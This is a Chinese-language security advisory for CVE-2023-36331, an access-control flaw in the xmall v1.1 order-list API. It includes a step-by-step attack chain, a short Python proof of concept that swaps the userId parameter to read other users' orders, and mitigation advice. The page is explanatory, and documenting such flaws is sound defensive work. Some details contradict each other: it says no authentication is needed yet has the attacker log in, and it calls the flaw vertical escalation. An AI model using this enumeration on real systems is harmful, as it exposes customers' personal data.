IPBUF安全漏洞报告
English
CVE-2023-36331 CVSS 8.2 高危

CVE-2023-36331 xmall v1.1 /member/orderList API 越权漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2023-36331
漏洞类型
访问控制/越权漏洞
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
xmall v1.1

相关标签

CVE-2023-36331访问控制越权漏洞IDORxmallAPI安全信息泄露高危漏洞

漏洞概述

CVE-2023-36331是xmall v1.1系统中存在的一个高危访问控制漏洞。该漏洞源于/member/orderList接口对用户权限验证不足,攻击者可以通过篡改userId参数的值,在无需任何认证的情况下,非法访问其他任意用户的订单详细信息。漏洞的CVSS评分为8.2,属于高危级别,对系统机密性造成严重影响。攻击者利用该漏洞可以获取大量用户的敏感订单数据,包括收货地址、联系方式、商品信息、订单金额等敏感信息。这些数据可能被用于进一步的欺诈活动、用户画像分析或地下数据交易,对用户隐私和企业声誉造成严重损害。由于该漏洞无需认证即可利用,且攻击简单易行,因此存在较高的实际威胁风险。建议相关单位尽快采取修复措施,对接口权限进行严格校验,防止未授权访问。

技术细节

该漏洞存在于xmall v1.1的/member/orderList API接口中。问题根源在于后端服务在处理用户订单查询请求时,未对userId参数进行充分的权限校验。当用户请求订单列表时,系统仅根据请求中传递的userId参数直接查询数据库,而没有验证当前登录用户是否有权访问该userId对应的订单数据。攻击者只需构造一个带有任意userId值的HTTP GET请求,即可获取该用户的所有订单详情。攻击向量为网络远程利用,无需认证。漏洞利用步骤如下:首先,攻击者注册一个普通用户账号并登录系统;然后,抓取正常的订单查询请求包;接着,修改请求中的userId参数值为目标用户的ID;最后,发送修改后的请求,即可获取目标用户的订单敏感信息。由于API未实现基于会话的用户身份与请求参数的绑定验证,导致垂直越权访问漏洞。修复方案应在后端增加当前用户身份与userId的关联校验,确保用户只能访问自己的订单数据。

攻击链分析

STEP 1
步骤1
攻击者访问xmall v1.1系统,注册并登录一个普通用户账号
STEP 2
步骤2
攻击者访问自己的订单列表页面,抓取正常的HTTP请求
STEP 3
步骤3
攻击者识别出/member/orderList接口,发现userId参数可被外部控制
STEP 4
步骤4
攻击者修改请求中的userId参数值为目标用户的ID(如1,2,3等)
STEP 5
步骤5
攻击者发送修改后的请求,系统直接返回目标用户的完整订单信息
STEP 6
步骤6
攻击者通过遍历不同的userId值,大量获取系统用户的敏感订单数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2023-36331 PoC - xmall v1.1 /member/orderList API Insecure Direct Object Reference # Description: Incorrect access control in /member/orderList API allows attackers to # access other users' order details via manipulation of userId parameter target_url = "http://target-server.com/member/orderList" # Attacker-controlled userId parameter to enumerate other users' orders # Modify the userId value to access different users' order information payload = { "userId": "1" # Change this value to target different users } try: # Send request with manipulated userId parameter # No authentication required to exploit this vulnerability response = requests.get(target_url, params=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If response contains order data for the specified userId, # the vulnerability is confirmed if response.status_code == 200 and "order" in response.text.lower(): print("[+] Vulnerability confirmed! Order data leaked.") print(f"[+] Leaked data for userId: {payload['userId']}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

xmall v1.1

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)或API网关层面,对/member/orderList接口的userId参数进行严格校验,禁止外部传入userId参数,强制使用服务端Session中的用户身份信息。同时可设置访问频率限制,防止攻击者自动化遍历用户ID。建议尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表